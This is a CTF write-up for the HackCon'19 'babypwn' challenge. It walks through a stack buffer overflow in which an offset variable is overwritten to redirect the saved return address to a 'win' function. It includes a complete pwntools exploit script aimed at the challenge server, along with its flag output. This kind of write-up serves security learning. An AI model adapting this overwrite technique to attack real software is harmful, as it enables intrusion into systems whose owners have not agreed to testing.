HackCon'19 writeup - babypwn

September 4, 2019
ctf writeup pwn x86 hackcon2019

Intro

This is the second pwn challenge. It was solved 36 times and it’s worth 451 points.

Description:

You don’t need eip control for every pwn.

You can download the binary here

$ sha256sum ./babypwn
57b32556465e890bdefdcccd6e515f6a2888300f48e9b7a7df0bb66694bda45b  babypwn

Exploitation

The program asks five input, echoes them back and prints a message of failure. However there is a segfault caused by a buffer overflow.

$ ./babypwn
1
2
3
4
5
1

2

3

4

5

Naaa  , Try HArder

$ ./babypwn
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

$ checksec ./babypwn
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

I opened with r2 and there are two interesting functions: win and nope. The former prints the flag, the latter prints: Naaa , Try HArder.

The win and nope function

The address of the nope function is inserted at var_40h, in the first block of the main function

The nope function pointed by var_40h

And it will be used as pointer to function after the echo of the input.

call to var_40h, so as pointer to function

So the initial idea was: overwrite the content at var_40h with the address of win.

But the program reads ‘just’ 16 chars with fgets, starting from var_50h. So we cannot overwrite directly [var_40h], except the lsb with 0x00.

input handling

However we can overwrite [var_44h] that is used as offset of var_30h. Specifically our input will be copied to var_30h + var_44h*8. So, because the offset between the saved EIP and var_30h is 56, if [var_44h] is 7 we can overwrite the saved EIP with the strncpy and pwn the program.

This is the exploit:

Incidentally (maybe voluntarily) the payload length is 16. So the lsb of [var_40h] is overwritten with 0x00. The new address (0x00400800) points to a ret. So it just works.

from pwn import *

prog = context.binary = ELF("PATH_TO_THE_BINARY", checksec=False)

if len(sys.argv) > 1:
	host = "68.183.158.95"
	port = 8990
	t = remote(host, port)
else:
	t = prog.process()

offset = 4
payload = p64(prog.symbols["win"])  #var_50h
payload += "A"*offset               #var_48h
payload += p32(0x7)                 #var_44h

t.sendline(payload)
t.recvuntil("Yay , Here's the flag\n")
print t.recvline()
t.close()

Here’s the flag:

$ ./exploit.py 1
[+] Opening connection to 68.183.158.95 on port 8990: Done
d4rk{B0fs_4r3_3zzzz}c0de

[*] Closed connection to 68.183.158.95 port 8990

babypwn solved banner

AUCTF 2020 Writeup - Pick Up That CAN

May 1, 2020
ctf writeup car-hacking can-bus auctf2020

AUCTF 2020 Writeup - Remote School

April 20, 2020
ctf writeup pwn x86 auctf2020

AUCTF 2020 Writeup - Password Cracking Challenges

April 20, 2020
ctf writeup password cracking hashcat auctf2020